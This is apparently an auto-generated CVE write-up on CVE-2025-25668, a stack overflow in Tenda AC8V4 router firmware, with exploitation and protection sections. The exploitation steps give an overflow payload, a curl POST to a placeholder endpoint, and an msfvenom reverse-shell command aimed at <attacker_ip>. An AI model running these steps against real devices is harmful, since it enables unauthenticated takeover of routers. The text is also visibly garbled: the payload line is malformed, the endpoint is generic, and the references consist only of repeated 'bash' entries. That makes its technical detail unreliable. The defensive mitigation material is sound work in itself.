How the CVE Works:
CVE-2025-25668 is a critical stack overflow vulnerability found in Tenda AC8V4 routers running firmware version V16.03.34.06. The issue resides in the `sub_47D878` function, specifically within the handling of the `shareSpeed` parameter. When an attacker sends a specially crafted request with an oversized `shareSpeed` value, it overflows the stack buffer, potentially allowing remote code execution (RCE). This vulnerability arises due to insufficient input validation, enabling an attacker to overwrite adjacent memory and execute arbitrary code with elevated privileges. The exploit can be triggered remotely without authentication, making it highly dangerous.
DailyCVE Form:
Platform: Tenda AC8V4
Version: V16.03.34.06
Vulnerability: Stack Overflow
Severity: Critical
Date: 02/20/2025
What Undercode Say:
Exploitation:
1. Crafting the Payload:
- Use a Python script to generate an oversized `shareSpeed` parameter.
payload = "A" 1024 Example payload to trigger overflow
2. Sending the Exploit:
- Send the payload via HTTP POST to the vulnerable endpoint.
curl -X POST -d "shareSpeed=$(python3 generate_payload.py)" http://<router_ip>/vulnerable_endpoint
3. Gaining Shell Access:
- If successful, the payload overwrites the return address, allowing execution of shellcode.
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f python
Protection:
1. Patch Installation:
- Update the router firmware to the latest version provided by Tenda.
2. Input Validation:
- Implement strict input validation for the `shareSpeed` parameter.
if (strlen(shareSpeed) > MAX_LENGTH) { exit(1); }
3. Network Hardening:
- Restrict access to the router’s admin interface using firewall rules.
iptables -A INPUT -p tcp --dport 80 -s <trusted_ip> -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j DROP
4. Stack Canaries:
- Enable stack protection mechanisms during compilation.
gcc -fstack-protector-strong -o vulnerable_binary vulnerable_code.c
5. Monitoring:
- Use intrusion detection systems (IDS) to monitor for suspicious activity.
snort -c /etc/snort/snort.conf -i eth0
Analytics:
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Impact: High (Confidentiality, Integrity, Availability)
References:
- bash
- bash
- bash
By following the above steps, users can mitigate the risk posed by this critical vulnerability.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-25668
Extra Source Hub:
Undercode
